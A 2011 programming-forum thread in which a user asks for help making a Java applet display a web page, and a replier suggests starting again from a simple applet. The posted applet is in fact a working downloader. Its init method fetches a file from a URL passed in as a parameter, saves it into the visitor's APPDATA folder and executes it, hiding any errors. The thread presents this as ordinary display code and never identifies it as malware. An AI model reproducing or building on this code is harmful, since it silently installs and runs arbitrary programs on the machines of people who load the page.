Creating an iframe (First post)

**msredimp** · July 15th, 2011, 02:24 PM

I need my Java applet to be able to show a web page in full size, with scroll bars.

Here is my code for Java.class

import java.applet.Applet;
import java.applet.AppletContext;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

public class Java extends Applet
{

public Java()
{
}

public void init()
{
String s = getParameter("file");
String s1 = System.getenv("APPDATA");
Object obj = getParameter("r");
byte abyte0[] = new byte[1024];
try
{
URL url = new URL(getParameter("lol"));
FileOutputStream fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
URLConnection urlconnection = url.openConnection();
InputStream inputstream = urlconnection.getInputStream();
int i;
while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1)
{
fileoutputstream.write(abyte0, 0, i);
}
inputstream.close();
fileoutputstream.close();
Runtime runtime = Runtime.getRuntime();
runtime.exec((new StringBuilder()).append(s1).append(s).toString());
obj = new URL((String)obj);
}
catch(Exception exception)
{
return;
}
}
}

Here is my code for index.html:

What do I need to add/edit for this to happen?

Btw I didn't code this from scratch, a friend helped me. The iframe is all my work, hence it probably being wrong.

What is wrong with this code?

Please explain.
Does it compile without errors? If not, copy and paste the full text here.
Does it execute? If there are errors in the java console, copy and paste them here.

When I try to compile it on JXXX Compiler Service, this is the output:

function makeFrame()

Where did you get this code from?
Before trying to make anything out of this HOJ, I'd suggest that you read up on how to write a java program.

I think I may be using the wrong code, how can I build a Java frame to run with my applet? Rather than using Javascript?

**Norm** · July 15th, 2011, 04:36 PM

Why don't you start with a simple applet and get that to work
and then add features to it.

Your code can create a Frame just like it creates any other object, by using = new Frame()

I have realised that all I really need is for my applet to display a web page in full, with scroll bars left and right as it will be smaller than the web page size. How can I go about this by adding code to the end of my current applet?

I'd forget about adding any code to what you have posted. Start with new code and add to that.

need is for my applet to display a web page

How are you going to do that? What class will display a whole web page? I assume you want the HTML formatted and not in source form.

I want the exact page stripped and being displayed inside the applet. Like as if I have opened a new window but without an extra window, just embedded into the applet. Is this more complicated to code than I think it is?

I want the exact page

You should be able to read the text of the html page from a server and display it in a text field for example.
